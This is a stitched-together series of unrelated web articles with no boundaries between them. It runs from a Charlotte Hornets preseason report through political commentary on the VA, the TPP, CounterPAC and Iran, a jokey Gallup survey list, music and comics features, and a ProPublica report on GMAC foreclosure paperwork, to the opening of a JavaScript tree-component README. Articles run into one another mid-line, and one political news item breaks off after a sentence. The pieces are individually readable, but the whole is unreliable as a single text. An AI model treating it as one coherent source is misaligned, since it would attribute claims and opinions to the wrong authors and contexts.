It’s been a preseason full of adjustment for the Hornets. From getting Kemba healthy and back in game-speed to now making sure that Marvin Williams is ready to go for the season opener after suffering a non-displaced fracture in his left middle finger on Monday night, and then everything in between. It probably shouldn’t be a surprise to anyone, but it’s now official that Cody Zeller won’t be ready to go for the Hornets season opener at Milwaukee next Wednesday. Steve Clifford said yesterday that Cody “won’t play a significant role” at the beginning of the season and he’s still being held out of contact drills because of the deep bone bruise in his right knee. Charlotte has hopes of building off of last season’s success, but it has been far from a seamless transition during this preseason.
Charlotte trotted out their main core for the majority of the game on Monday night in Chicago where results were mixed. The Hornets came out with a victory in overtime, but the team still left fans wanting much more. When you consider that Clifford elected to bring the starters back in late in the 4th to close the game against the Bulls bench, but then they couldn’t, forcing the Hornets reserves to finish it in OT – well, yes, it would have been nice to see the core players shut the door on this game.
There were some bright spots in the first half from the offense as Kemba was in full attack mode and displayed as much explosiveness as he has the entire preseason. Nic Batum and MKG struggled offensively for most of the night and it’s obviously that the two are learning to play with each other on opposite wings. Frank Kaminsky and Marco Belinelli accounted for five of Charlotte’s eight triples, and Kaminsky, for better or for worse, continues to chuck his heart away during the preseason. Roy Hibbert has moments when Charlotte attempts to play through him on the block, but it’s not easy to watch and his main role will be to screen and roll in this offense.
Charlotte remains one of the worst offenses in the league so far this preseason with an offensive rating of 92.3. As the team is learning how to play with offensively challenged MKG and Hibbert, the space on the floor that existed last season simply isn’t there. And it’s not going to be. The Hornets will have to play a different style this season, even when Cody Zeller returns to the lineup. It will be a slower pace of play as Clifford attempts to design a way to integrate MKG into an offense that leaped into the top-10 last season. Expect more guard and wing low-post touches, creative cuts from the perimeter and effectively something that resembles a slow slog of bully-ball. Charlotte is still figuring it out and this will continue into the first month of the regular season.
Defensively, this is a unit that has been solid in the preseason with a 95.9 overall rating. The echoing hope for the Hornets to propel themselves into a top-5 defense is real and the results that preseason has yielded shouldn’t slow the defensive hype train down. MKG is an animal on this end of the floor, anchors everything for this team defensively and has displayed nothing short of 100% effort during the preseason. He makes life a literal living hell on a basketball court for opposing wings, and when you slot Roy Hibbert (whether he starts or not) in behind him, one of the best rim-protectors this league had three seasons ago, you have a really solid foundation.
Tonight, the Hornets travel to Miami for the first time since the game-seven blowout last May. Marvin, Zeller and Brian Roberts will all sit. At this stage of the preseason, it would be nice to see guys like MKG and Kaminsky manufacture a somewhat efficient offensive night, which neither have been able to do yet. Just as the starting unit was able to do in Chicago Monday, a quick start to this game on both ends would continue to build confidence with the core unit as they still figure out their style of play. Tip is at 7pm tonight and the game will be live streamed on Hornets.com.
We will see who actually plays tomorrow night in Minnesota and don’t be surprised to see some of the starters get rest during Charlotte’s first back-to-back of the preseason. Tip is set for 8pm against the Wolves and the game will be aired on NBA TV.At the Wall Street Journal, James Taranto pulls together liberals’ endorsements of Veterans Administration health care. It goes beyond just claiming that VA medicine was top notch; liberals often claimed that the supposed success of the VA is proof that government is superior to the private sector. Taranto titles his post “Socialist Supermodel.” You should read it all, but here are a few highlights:
[I]n January 2006, … former Enron adviser Paul Krugman wrote this: I know about a health care system that has been highly successful in containing costs, yet provides excellent care. And the story of this system’s success provides a helpful corrective to anti-government ideology. For the government doesn’t just pay the bills in this system–it runs the hospitals and clinics. No, I’m not talking about some faraway country. The system in question is our very own Veterans Health Administration, whose success story is one of the best-kept secrets in the American policy debate. The “secret” of the VA’s “success,” Krugman argued, “is the fact that it’s a universal, integrated system.”
***
Timothy Noah, then with Slate.com, proclaimed in 2005: “Socialized medicine has been tried in the United States, and it has proven superior to health care supplied by the private sector.... The socialized medicine to which I refer is the complex of hospitals managed by the Veterans Administration.” His post, “The Triumph of Socialized Medicine,” was based on a Washington Monthly article by Phillip Longman, which carried the slightly more modest headline “The Best Care Anywhere.” And in 2009, Ezra Klein revealed that “one of my favorite ideas” is “expanding the Veterans Health Administration to non-veterans.”
Do you suppose these liberals, and others, will acknowledge how wrong they were about the VA, and consider what the implications might be for their government-knows-best philosophy?
Just kidding.Source: istockphoto.com
Clinicians don’t often get caught up in issues related to trade negotiations. Surely, these matters should be left to governments, economists, lawyers and corporations, those who know best.
The largest ever free trade agreement (FTA) is set to transform the legal frameworks that govern trade and regulations between the United States and countries that line the Pacific Rim, with significant consequences for public health.
The Trans-Pacific Partnership — or the TPP — will impact some 800 million people living in the area and affect nearly 40% of global trade. The deal is part of Barack Obama’s push against the economic competition from China in the region and will consist of 11 other parties: Australia, Brunei, Canada, Chile, Japan, Malaysia, Mexico, New Zealand, Peru, Singapore and Vietnam. And it is working its way through US Congress.
There is a fear that the new deal will undermine existing pacts agreed by the World Trade Organisation (WTO) by strengthening intellectual property (IP) rules. The WTO’s Agreement on Trade-Related Aspects of Intellectual Property Rights (also known as TRIPS) was negotiated in the 1986–1994 Uruguay Round, and introduced IP rules into the multilateral trading system for the first time. The TRIPS agreement includes minimum standards for IP, already considered too high for some developing countries struggling to implement them. It has also enabled poorer countries to issue compulsory licences that allow cheaper medicines to be produced in the public interest.
The TPP deal would protect data exclusivity and ease patent ever-greening, thereby blocking competition from generic medicine manufacturers and potentially driving up the price of essential medicines for millions of people. This will also have wider impact if other — usually poor – countries in the Pacific Rim region join the TPP in future years. Worryingly, the TPP is also being set up as a model for other free trade agreements, critics, such as Médecins Sans Frontières, say. There is a huge risk that the WTO will become irrelevant.
From the first round of negotiations of the TPP in Melbourne in 2010, talks have been conducted behind closed doors, with what little information that has become available leaked to the public. Over 2013–2015, the whistleblowing website Wikileaks has published TPP chapters on IP, investment and health, revealing some of the controversial and wide-ranging ramifications for medicines and biological patents.
Perhaps the most troubling aspect of TPP is the “investor-state dispute settlement” provision. ISDS, as it is known, opens the door for corporations to potentially challenge public health policies by bringing governments before an arbitral tribunal, an independent system separate from conventional courts for hundreds of millions of pounds in damages if they believe future profits will be harmed.
Democratic deficit
If we give companies ISDS, they will use it. History has shown us that multinational corporations, including pharmaceutical companies, do not shy away from litigation. US tobacco giant Philip Morris is suing the Australian government over its plain packaging laws through an FTA the country has with Hong Kong. Meanwhile pharmaceutical firm Eli Lilly is using the rules of another FTA — the North American Free Trade Agreement — to sue Canada for US$500m in damages in an ongoing patent dispute.
Companies could challenge policies to do with reimbursement, pricing or regulatory matters, with inherent risks to public health. It also opens the doors for other industries, for example, food companies could object to any profit-killing anti-obesity campaigns/regulations and the alcohol sector could protest to any proposed stricter labelling rules.
There is also the chilling effect of potential ISDS cases: some developing countries may be inhibited from advancing important public health policies for fear of litigation by corporations because these cases are a hassle and are costly. The threat alone from ISDS procedures would be detrimental.
The pharmaceutical industry is campaigning for prioritisation of intellectual property as it is the lifeblood of innovation. Fair point, but any patent provisions need to be balanced with the need for medicine access across all economic settings. What we need is a trade agenda that enables a return on investment in research and development and protects the needs of patients.
The TPP public debate is based on leaked texts and not informed debate. It is not possible to hold honest public discussion when political representatives withhold vital details from their constituents. It is only after a deal is done that the full measures are unveiled — but it’s then too late. Considering how far-reaching these agreements can be, it is important to involve wider stakeholders. It has been a flawed process. Trade and its effects on public health should be talked about in the open.A new study found the country is very evenly split on issues like doctor-assisted suicide, animal cloning and more.
A few days ago, Gallup posted the results of a national survey to determine the most controversial issues in the U.S. I found it fascinating, and decided to pull out the top 11 for a list.
The rankings on this list are based on the split between the percentage of people who said something is morally acceptable versus the people who said something is morally wrong. So the closer those two percentages, the more controversial the issue.
So let’s jump right into the most controversial and divisive issue in the country. I’m sure it’s exactly what you think…
1 | Doctor-assisted suicide (45% morally acceptable, 48% morally wrong, 3% difference)
No, really. In 2011, this still divides us more than anything. While everyone’s been out beating the drum on gay marriage and abortion and King George’s taxes on tea, the rest of the country secretly time traveled back to 1991.
While I completely understand euthanasia being a divisive issue — the old South Park that addressed it featured basically every character ultimately saying they wouldn’t touch it with a 30-foot pole — talking about it still gives me that fuzzy retro feeling. Like, when I hear people debate doctor-assisted suicide I want to listen to Jesus Jones’ Right Here, Right Now and drink a Crystal Pepsi.
[Note: This survey was conducted a few weeks before Jack Kevorkian died, so doctor-assisted suicide wasn’t number one because he was in the news again. Also, I wrote this list on Thursday, June 2nd, not realizing I would be publishing it on the same day he died. It’s all just a coincidence. An odd, odd coincidence.]
2 | Abortion (39% acceptable, 51% wrong, 12% difference)
That’s better. This IS something that people are eternally furious about. Especially now that Planned Parenthood is using taxpayer money to open that Abortionplex.
3 | Having a child outside of marriage (54% acceptable, 41% wrong, 13% difference)
This is the first one that came out on the “more acceptable than wrong” side of the ledger. That result was primarily driven by the younger people in the survey — 62 percent of 18- to 34-year-olds said this is morally acceptable versus 46 percent of the over 55 crowd. You know, people who used the word “bastard” back when it had its original meaning and wasn’t the name of a Wu Tang Clansman or being gratuitously misspelled by Quentin Tarantino.
4 | Buying or wearing fur (56% acceptable, 39% wrong, 17% difference)
Does fur include a gorilla vest, Irish setter sweater, cat hat, vampire bat evening wear, albino African endangered rhino white slippers, grizzly bear underwear, turtle neck turtlenecks, poodle berets, double-breasted (and single-breasted) red robin suits, gopher loafers or a greyhound tuxedo? Or any clothes made of Rory Calhoun? If so, I’m with the “morally wrong” contingent.
5 | Homosexuality (56% acceptable, 39% wrong, 17% difference)
With fur and homosexuality both getting a 17 percent split, there have to be a decent number of people who said both of those are morally wrong. And they sure must hate Uggs for men.
6 | Medical testing on animals (55% acceptable, 38% wrong, 17% difference)
Complete generational thing here, but in the opposite direction of having kids out of wedlock. Younger people are wildly opposed to testing on animals, older people are not. If you’re at the age where you require more medical attention, I’m thinking you want to make sure it gets tested out first. Once you’ve had a colonoscopy it seems to probe the idealism right out of you.
7 | Sex between an unmarried man and woman (60% acceptable, 36% wrong, 24% difference)
I can’t believe 36 percent of the country thinks this is morally wrong. According to the Liberal Media, everyone ages 11 and up is currently having sex RIGHT NOW. Except you, I guess, because you’re on the Internet reading this. Unless you’re reading this while you’re having sex. Which I strongly encourage. In fact, employ a position where you can both look at the screen.
8 | Cloning animals (32% acceptable, 62% wrong, 30% difference)
I’m personally torn on this one. My first instinct to the question would’ve been “Who gives a shit?” But if I had Jurassic Park on the brain, and the person polling me confirmed that this included cloning dinosaurs to make a theme park, AND the pollster also confirmed that Newman wouldn’t be hired at that park so nothing could possiblie go wrong… I’d totally switch from indifference to a moral thumbs up.
9 | Using stem cells from human embryos for medical research (62% acceptable, 30% wrong, 32% difference)
At a 62 percent approval rate, the public sure has come a long way in its feeling toward stem cell research. Either that or they all really want to be able to clone a Shakey’s Pizza so there can be two of them.
10 | Gambling (64% acceptable, 31% wrong, 33% difference)
I’m surprised that gambling was included in the survey. I don’t really see it as an issue at all. In the last decade, basically every city that’s not on a salt lake has legalized gambling — ya know, once they realized that people were going to gamble no matter what and they might as well not let Vegas, Canada or the Native Americans get their hands on that money.
11 | Pornography (30% acceptable, 66% wrong, 36% difference)
Overall, Gallup surveyed people on 17 different topics. So there are six that didn’t make the list on this site. Pornography beat out, in order: Death penalty (65% ok/28% wrong -> 37% difference); divorce (69%/23% -> 46%); suicide (15%/80% -> 65%); human cloning (12%/84% -> 72%); polygamy (11%/86% ->75%); and married men and women having affairs (7%/91% -> 84%).
So congratulations, porn industry: You can hang a banner that reads “More controversial than the death penalty!” And I guess I can see that. After all, you can’t get addicted to the death penalty. (Unless you’re a Texas judge. Am I right? Anyone? Anyone?)
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And there’s arguably no bigger summer festival than Bonnaroo, the Tennessee-based festival that went down last weekend. From Lionel Ritchie to Kanye West to Disclosure, Bonnaroo has a little taste of everything for everybody.
This year’s Bonnaroo belonged to dubstep alien keyboard warrior Skrillex and his merry band of jammers. Skrillex–yes, Skrillex–typically known more for pushing buttons than conducting actual music with actual musicians, led one of Bonnaroo’s Superjams this year.
Skrillex’s jam included the likes of Big Gigantic, Mickey Hart (of Grateful Dead lore), and even Lauryn Hill. The highlight/stunner/moment that made time stand still came when the jam segued into the classic Grateful Dead song “Fire on the Mountain”:
[vimeo 98587270 w=500 h=282]
Skrillex and Friends Superjam at Bonnaroo – Fire on the Mountain from weedmaps on Vimeo.
Here’s another view from back-stage:
It’s stranger than fiction seeing Jerry Garcia and Ableton come together, but it’s still kind of awesome.There are so many different versions of Wonder Woman, but one still stands for many as the definitive Diana: Lynda Carter’s iconic portrayal in the Wonder Woman TV series. For the past few years, DC has been telling new stories in this universe as Wonder Woman ‘77, and we sat down with series writer Marc Andreyko to ask him why this take on Wonder Woman is still so fabulous in 2016.
io9: For those who’ve been missing out on the book, tell us a little about Diana’s current adventures in Wonder Woman ‘77.
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Marc Andreyko: The comic book series takes place during the original show’s run, but with the luxury of using villains from the Wonder Woman comic’s rogues gallery as they would have appeared on ‘70s TV.
What’s the reaction been like to you getting to tell more stories this year?
Andreyko: My reaction has been “Great!,” and I think readers have dug the stories I’ve written thus far. Plus, working with talented artists like Cat Staggs, Jason Badower, and Tom Derenick (on my next story) is always fun.
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Wonder Woman ‘77 has to balance being a faithful follow-up to the show while also being a comic book for modern reading audiences. Have there been any challenges in trying to balance retro style and new stories in that regard for you?
Andreyko: I don’t really write thinking “retro,” I just immerse myself in the show and try my best to capture its voice. I think if I tried to be “retro” it would come off as forced campy or a bad TV sketch. The balance is inserting things from the show’s era without making it all about “Oh, look! A pet rock! A lava lamp!”
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Some of DC’s best Wonder Woman stories lately have come from the digital series like this and Legend of Wonder Woman. What is it about doing these spinoffs that really lets the character shine in comparison to the traditional monthly series?
Andreyko: Being unencumbered by the monthly serialized continuity certainly frees up the stories for me. I can focus on writing this Diana/Wonder Woman without having to be worried about being consistent with her appearances in Justice League or whatever big event is happening. And at the same time, we can cherry-pick villains from Wonder Woman’s history and reimagine them. It’s a win-win.
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If there’s one aspect of Wonder Woman that you think defines this version of the character, what would it be?
Andreyko: Hmm, that’s tough—but, ultimately, I would have to say her respect for life. Born in the ancient Greek culture, defined a lot by violence, this Wonder Woman uses violence only as a last resort. She respects all life. Writing stories with a heroine who prefers to reach out with an extended hand instead of a closed fist is refreshing and challenging.
What’s been your favorite villain or concept from the more recent comics to “77-ify” so far?
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Andreyko: Turning “Silver Swan” into a disco diva, hands down!
Can you offer us a tease about where you want to take the series in the future?
Andreyko: I would love to do stories that are follow-ups to actual episodes of the series and use more characters from the show. And there are lots of comic book villains I’d love to “77-ify”!
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What is it about Lynda Carter’s take on Diana that still resonates with fans of Wonder Woman, all these years later?
Andreyko: Lynda Carter treated the role with the same respect and care that she would have if she was playing Lady Macbeth or Amelia Earhart. There was no looking down her nose because Wonder Woman was a comic book character. Even more than that, Ms. Carter took and still takes her Wonder Woman legacy very seriously. She is a role model—not just to girls, but to all of us—to try and be the best person we can.
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The first paperback collection of Wonder Woman ‘77 is available now.The other super PAC taking on outside spending Share This:
Image via CounterPAC.
A new super PAC has a different plan to take big money out of elections: Get candidates to sign a ‘no dark money’ pledge that would discourage money from anonymous sources.
The committee, CounterPAC, launched its first attack ads Tuesday in a Colorado House race. And while the committee doesn’t have the nationwide pool of donors of MayDay — another PAC that’s embracing the irony of raising big money to get money out of politics, it is making ripples through other means.
CounterPAC, funded by former Kongregate CEO Jim Greer and Google engineer Matt Cutts, is pushing federal candidates to accept a dark money armistice. Under the pledge, candidates that benefited from independent expenditures with undisclosed sources would agree to give 50 percent of the value of that expenditure to charity. Just how that agreement would be enforced is unclear.
CounterPAC’s staff said their approach was based on the DISCLOSE Act. It would still allow outside groups to accept million-dollar checks as long as they came from disclosed sources.
The PAC is targeting races in Alaska, Colorado, Georgia, Iowa and West Virginia. In West Virginia, where incumbent Democrat Nick Rahall is fighting to hold on to his Third District seat in an increasingly Republican state, Republican challenger Evan Jenkins has gone a step further — pushing the Rahall campaign to disavow all outside spending and PAC contributions.
So far, Rahall hasn’t budged. Incumbents tend to rake in heaps more PAC money than newcomers and the Democrat’s campaign has pulled in around $1.7 million from political committees, compared to Jenkins’ $200,000. Rahall’s refusal has given his opponent a new tool to bludgeon his opponent in press releases.
In Colorado, CounterPAC is doing some bludgeoning of its own.
On Tuesday the group went live with its first attack ad, a $120,000 expenditure slamming Rep. Mike Coffman, R-Colo. went. His opponent, Democrat Andrew Romanoff, agreed to sign the pledge if Coffman would follow suit.
See “Dark Money Mike,” below:
The ad suggests that Coffman is beholden to secret donors:
“Mike Coffman is enjoying the support of six-figure campaign ads funded by secret donors. The problem with secret donors is, you just don’t know who they are. Big tobacco? Russian oil billionaires? Too big to jail Wall Street bankers? The owner of China’s largest casino? We don’t know and that’s just how Mike Coffman wants it.”
Coffman’s campaign argues that the ad is in violation of the Colorado law prohibiting people from “recklessly” running false statements in ads meant to sway voters in an election. Lawyers representing the campaign sent a cease and desist letter to Denver’s KUSA, a local NBC affiliate running the ad:
“Mike Coffman has not received support from these sources and, as CounterPAC is well aware, their claim of “support” is not even possible because it is prohibited by federal law. The Federal Election Campaign Act (FECA) “prohibits any foreign national from contributing, donating or spending funds in connection with any federal, state, or local election in the United States, either directly or indirectly.” … Therefore, CounterPAC’s advertisement is patently false. Knowingly or recklessly broadcasting political advertisements that include false statements would be a criminal violation under Colorado law …”
Outside groups like political nonprofits and super PACs are prohibited from coordinating with campaigns.
CounterPAC’s Campaign Director Jay Costa said the group is open to brokering agreements about what exactly constitutes adequate disclosure, but operates on the baseline principle that “the public should know who is spending money to influence elections.”In a Wednesday address to the US House of Representatives, US Secretary of State Rex Tillerson had noted that he would help elements inside Iran to effect a regime change in the country.
In reaction, a group of Iranian political activists, including journalists, lecturers, former lawmakers, and senior officials at the former Iranian President Mohammad Khatami’s administration, most of whom are reformists, in a letter with nearly 70 signatures, denounced the interventionist remarks.
Among those signing the letter are activists and officials who used to be imprisoned on charge of ‘acting against national security’, but have already served part of their prison terms, have been bailed out or are on probation.
The full text of the letter is as follows:
“Everybody is well aware of the bitter reality that the situation in countries in the Middle East and North Africa is more critical than that of other world nations. Moreover, this is the first time in the region’s history that we are witnessing such a serious crisis. Although a great part of the crisis is rooted in local problems and emanates from weak governance and a lack of democratic and free governments in the region, a key contributor to the crisis is interference in the region by foreign countries, especially the United States.
Contrary to its claim of supporting human rights, the US is backing the most reactionary country in the region simply to serve its own interests, so much so that one can say extremism in the region and in the world is somehow rooted in Washington’s actions.
Rather than helping promote peace and tranquility in the region, the current US administration seeks to further destabilise the region by supporting Saudi Arabia’s reactionary regime, and to spread that instability to countries like Iran which enjoy stability.
US Secretary of State Rex Tillerson said Washington’s policy on Iran is to roll back its “hegemony” and superiority and contain what he called Tehran’s ability to produce nuclear weapons and to support elements inside Iran that could bring about a peaceful transition of government. Tillerson added those elements are present in Iran. His comments are provocative and against international and legal principles and will have no result except further instability in the region and expansion of conflict and terrorism.
These remarks are made at a time when an overwhelming majority of Iranian people are expressing their opinions in polling stations and at the same time the White House is supporting countries with authoritarian rules in order to plunder the Middle East’s oil revenues.
Accordingly, we, the undersigned, categorically condemn remarks by US Secretary of State Rex Tillerson and ask all political players and Iranian as well as global intellectuals to denounce such comments and not allow more salt to be rubbed on the region’s wounds. If necessary measures are not adopted, the regional crisis will not remain restricted to the Middle East and will affect all of us, including the American people.”
Mostafa Tajzadeh, a senior political activist and former deputy interior minister under Khatami’s presidency, was one of the reformist figures who signed the letter.
In addition to signing the letter of condemnation, he also addressed US President Donald Trump in a post in his Twitter account.
“Trump! We Iranian seekers of peace and democracy are, in the first place, defenders of Iran’s independence, unity, and security, and will stand against any foreign interference, threat, and sanction,” Tajzadeh said in a Farsi tweet.
He also posted an English tweet to condemn Tillerson’s comments, “Iranians have shown time and again that they do not want US interference in Iranian affairs. How many times should we repeat that?”President Obama took aim at Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right — in 2014 MORE (R-Ohio) on Friday as he defended his executive action on immigration
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Foreclosure Crisis How Banks and Government Fail Homeowners
GMAC, one of the nation's largest mortgage servicers, faced a quandary last summer. It wanted to foreclose on a New York City homeowner but lacked the crucial paperwork needed to seize the property.
GMAC has a standard solution to such problems, which arise frequently in the post-bubble economy. Its employees secure permission to create and sign documents in the name of companies that made the original loans. But this case was trickier because the lender, a notorious subprime company named Ameriquest, had gone out of business in 2007.
And so GMAC, which was bailed out by taxpayers in 2008, began looking for a way to craft a document that would pass legal muster, internal records obtained by ProPublica show.
"The problem is we do not have signing authority—are there any other options?" Jeffrey Stephan, the head of GMAC's "Document Execution" team, wrote to another employee and the law firm pursuing the foreclosure action. No solutions were offered.
Three months later, GMAC had an answer. It filed a document with New York City authorities that said the delinquent Ameriquest loan had been assigned to it "effective of" August 2005. The document was dated July 7, 2010, three years after Ameriquest had ceased to exist and was signed by Stephan, who was identified as a "Limited Signing Officer" for Ameriquest Mortgage Company. Soon after, GMAC filed for foreclosure.
An examination by ProPublica suggests this transaction was not unique. A review of court records in New York identified hundreds of similar assignment documents filed in the name of Ameriquest after 2008 by GMAC and other mortgage servicers.
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The issue has attracted growing scrutiny in recent months as bloggers, consumer attorneys and media outlets have identified what appears to be part of a pattern of questionable assignments filed across the country.
GMAC, whose parent company renamed itself last year as Ally Financial, was at the center of what became known as the robo-signing scandal. The uproar began last fall after revelations that mortgage servicing employees had produced flawed documents to speed foreclosures. GMAC and other banks have acknowledged filing false affidavits in which bank officials claimed "personal knowledge" of the facts underlying thousands of mortgages. But GMAC and other servicers say they've since tightened their procedures. They insist that their records were largely accurate and the affidavits amounted to errors of form, not substance.
The issues surrounding the Ameriquest loan and others like it appear to be more serious.
"This assignment of mortgage has all of the markings of GMAC finding that it lacked a needed mortgage assignment in order to foreclose and just making it up," said Thomas Cox, a Maine foreclosure defense attorney.
In New York, it's a felony to file a public record with "intent to deceive."
"It's fraud," said Linda Tirelli, a consumer bankruptcy attorney. "I want to know who's going to do a perp walk for recording this."
No criminal charges have been filed in the robo-signing cases.
Asked by ProPublica about the document, GMAC acknowledged Stephan did not have authority to sign on behalf of Ameriquest. The bank said it is still planning to push ahead with foreclosure on the homeowner, who remains in the property.
Company spokeswoman Gina Proia said an internal review last fall into "suspected documentation execution issues" had flagged the loan as problematic and that GMAC is "determining what needs to be done in order to receive the necessary authorization."
"We will determine and complete the necessary steps to remediate and proceed with foreclosure," Proia said.
GMAC also declined a request from ProPublica to interview Stephan.
Another GMAC document obtained by ProPublica shows that in at least one recent incident, GMAC employees were still discussing the possibility of fabricating evidence needed to facilitate a foreclosure.
The company once again lacked a document that would show it had been assigned the mortgage. Since the lender was defunct and no assignment had ever been made, GMAC again seemed to be stuck. But the employee proposed in June of this year that GMAC file a sworn statement that the assignment had once existed but had been lost. It's unclear if such an affidavit was ultimately provided to a court.
Records also show that GMAC has continued to rely on documents signed by the very employee at the center of the robo-signing scandal—Jeffrey Stephan, the same employee who also signed the Ameriquest document in 2010. Stephan acknowledged in sworn testimony last year that he had been signing 400 documents each day, a revelation that helped kick off the scandal. According to a former employee and a consumer attorney, Stephan still works at GMAC, though he has been transferred to a different unit.
GMAC, which is still majority owned by the government, said it is still pursuing foreclosures based on assignments signed by Stephan.
"There is no reason or requirement to 'withdraw' valid assignments of mortgage that happened to have been signed by Mr. Stephan," said GMAC spokeswoman Proia, because there's "no requirement that [the assignment] be signed by a person with knowledge of any particular facts." All that mattered, she said, was that the signer had received the proper authority.
Banks have little reason to worry about their documents being challenged, since homeowners rarely contest foreclosure actions. In a filing with the New Jersey Supreme Court, GMAC said that of the more than 4,000 foreclosures it has handled in the state only about 4 percent of homeowners had contested the action.
When homeowners do challenge banks' documentation for foreclosures, they can have success. Late last week, the Vermont Supreme Court threw out a foreclosure case handled by GMAC due, in part, to a flawed assignment document signed by Stephan.
"It is neither irrational nor wasteful to expect the foreclosing party be actually in possession of its claimed interest," the court said, "and have the proper supporting documentation in hand when filing suit."
Since last fall, GMAC has added staff, increased training and added new procedures, said Proia. But some of those new hires have come from firms themselves accused of filing false foreclosure documents.
One manager at GMAC, Kevin Crecco, moved there from a position at the Law Offices of David Stern in Florida after the firm drew scrutiny from the state's attorney general for allegedly filing forged documents. Stern's office, once among Florida's biggest foreclosure law firms and labeled a "foreclosure mill" by critics, ceased operations earlier this year.
An internal organization chart from this spring for GMAC's foreclosure department lists Crecco as a manager overseeing roughly two dozen employees. GMAC declined to make Crecco available for an interview. He hasn't been accused of any wrongdoing.
Mortgage servicers like GMAC continue to be set up like assembly lines, with members of its "Document Execution" team responsible for signing documents. The organizational chart shows two "Document Execution" teams of 13 employees each.
The employees are tasked with, among other things, signing affidavits attesting to the accuracy of the basic facts of the loan, such as the mortgage amount, outstanding fees, etc. Affidavits are a necessary step to foreclosure in many states where banks have to go to court to seize a home.
During the robo-signing scandal, GMAC admitted that employees signing affidavits didn't verify the underlying facts. The bank says it has fixed the problems.
But consumer attorneys said that while GMAC's processes have improved, they haven't corrected basic flaws with their process.
Cox, the attorney who questioned Stephan last year as part of a foreclosure case, said employees on the "Document Execution" team still aren't truly checking the accuracy of the underlying information. Rather than digging for the original documents, employees on the team look at the numbers given by a GMAC database and double-check the math.
If the employee "just looks at a computer screen, that's not sufficient in my view," said Cox. He said he would soon be challenging affidavits GMAC recently filed in court.
Consumer attorneys also said the systems that servicers rely on are consistently plagued with inaccuracies, making a more thorough verification of the information necessary. "These days, homeowners are being forced to save every receipt, every letter, every statement, so that one day they can prove that their payment history is accurate and the bank is wrong," said Jim Kowalski, a consumer attorney in Florida.
GMAC's Proia said the company's procedures—which amount to a review of information in the company's computerized databases—were sufficient to file affidavits.Marvel’s vice president of sales has blamed declining comic-book sales on the studio’s efforts to increase diversity and female characters, saying that readers “were turning their noses up” at diversity and “didn’t want female characters out there”.
Over recent years, Marvel has made efforts to include more diverse and more female characters, introducing new iterations of fan favourites including a female Thor; Riri Williams, a black teenager who took over the Iron Man storyline as Ironheart; Miles Morales, a biracial Spider-Man and Kamala Khan, a Muslim teenage girl who is the current Ms Marvel.
But speaking at the Marvel retailer summit about the studio’s falling comic sales since October, David Gabriel told ICv2 that retailers had told him that fans were sticking to old favourites. “What we heard was that people didn’t want any more diversity,” he said. “They didn’t want female characters out there. That’s what we heard, whether we believe that or not.”
He added: “I don’t know that that’s really true, but that’s what we saw in sales … Any character that was diverse, any character that was new, our female characters, anything that was not a core Marvel character, people were turning their nose up.”
Gabriel later issued a clarifying statement, saying that some retailers felt that some core Marvel heroes were being abandoned, but that there was a readership for characters like Ms Marvel and Miles Morales who “ARE excited about these new heroes”. He added: “And let me be clear, our new heroes are not going anywhere! We are proud and excited to keep introducing unique characters that reflect new voices and new experiences into the Marvel universe and pair them with our iconic heroes.
“We have also been hearing from stores that welcome and champion our new characters and titles and want more! … So we’re getting both sides of the story and the only upcoming change we’re making is to ensure we don’t lose focus [on] our core heroes.”
Online, readers scorned Gabriel’s remarks, pointing to Marvel’s tendency over the last few years to focus on restarting and rebooting storylines, creating a complicated web of interwoven universes, as well as an overwhelming output that fans struggled to keep up with.
Writer of the Kamala Khan Ms Marvel series, G Willow Wilson responded to Gabriel’s comments, writing that “diversity as a form of performative guilt doesn’t work” and criticising Marvel’s tendency to introduce the new iterations of fan favourites by “killing off or humiliating the original character … Who wants a legacy if the legacy is shitty?”
“A huge reason Ms Marvel has struck the chord it has is because it deals with the role of traditionalist faith in the context of social justice, and there was – apparently – an untapped audience of people from a wide variety of faith backgrounds who were eager for a story like this,” she wrote. “Nobody could have predicted or planned for that. That’s being in the right place at the right time with the right story burning a hole in your pocket.”
One retailer told ICv2 that increased diversity had brought a new clientele to his store. “One thing about the new books that go through my store, they don’t sell the numbers that I would like,” he said. “They do bring in a different demographic, and I’m happy to see that money in my store.”
Original Article
Share ThisGaga: Five Foot Two
In the Netflix original documentary Gaga: Five Foot Two, Lady Gaga offers a vulnerable look of her life during one of the most pivotal periods in her career yet. Directed by Emmy®-nominated filmmaker Chris Moukarbel (Banksy Does New York, Me at the Zoo), the film is shot in the style of cinema verité, giving viewers unfiltered, behind-the-scenes access as Gaga spends time with close friends and family members, records and releases her 2016 album Joanne and, deals with personal struggles.
Moukarbel’s compelling portrait captures Lady Gaga’s life over a eight-month period. On top of professional triumphs, viewers will see her cope with intense emotional and physical pain. Other moments reflect more ordinary aspects of her life, whether it’s attending a family christening, visiting her grandmother or cooking and playing with her dogs at home. The film may help viewers understand how all of these experiences contribute to Gaga’s art – and how, in just a few years, the 5-foot-2 performer has become such a relatable and beloved figure worldwide.Inspire Tree
Inspire Tree is a performance-driven javascript-based UI tree component, built for the modern web. Inspired by our need for one - the only existing solution which met our feature needs was a nightmare to develop for.
Robust API.
Events everywhere.
Load data directly, via promises, or callbacks.
Load child nodes upfront or dynamically (or a mix of both).
Tri-state checkboxes (optional).
Multiselect (optional).
Inline editing (optional).
Search by plain string, RegExp, custom matcher, or external resources (optional).
Sorting (optional).
AMD and CommonJS support (RequireJS, Node/Webpack).
Supports multiple instances on a single page.
API methods to simplify moving nodes between instances.
Solid coverage by automated tests.
Built for IE10+.
Installation
Yarn: yarn add --dev inspire-tree or
or NPM npm install --save-dev inspire-tree
If you're using InspireTree in a browser environment, and are not using a module bundler like Webpack, Browserify, rollup, etc, you'll need to ensure lodash is available.
DOM Rendering
This package contains the core API only. Our DOM rendering engine is offered through a separate package because some users prefer to implement rendering in their existing framework of choice (like Angular, React, Vue, etc).
Inspire Tree DOM uses a virtual DOM to achieve high-performance rendering.
To install:
Yarn: yarn add --dev inspire-tree-dom or
or NPM npm install --save-dev inspire-tree-dom
Note: InspireTreeDOM offers additional configuration options and events. Please be sure to read the README.
Usage
At the very least you must provide data source
var tree = new InspireTree ( { data : [ { text :'A node'} ] } ) ;
Node objects must have at least a text property. Additional properties are listed below in "Node Configuration".
Usage with Inspire Tree DOM
If you're using our DOM rendering, you need to pass in two arguments: the tree instance, and a DOM target:
new InspireTreeDOM ( tree, { target : '.tree'} ) ;
For more information regarding InspireTreeDOM, see the README.
Data Loading and Initialization Errors
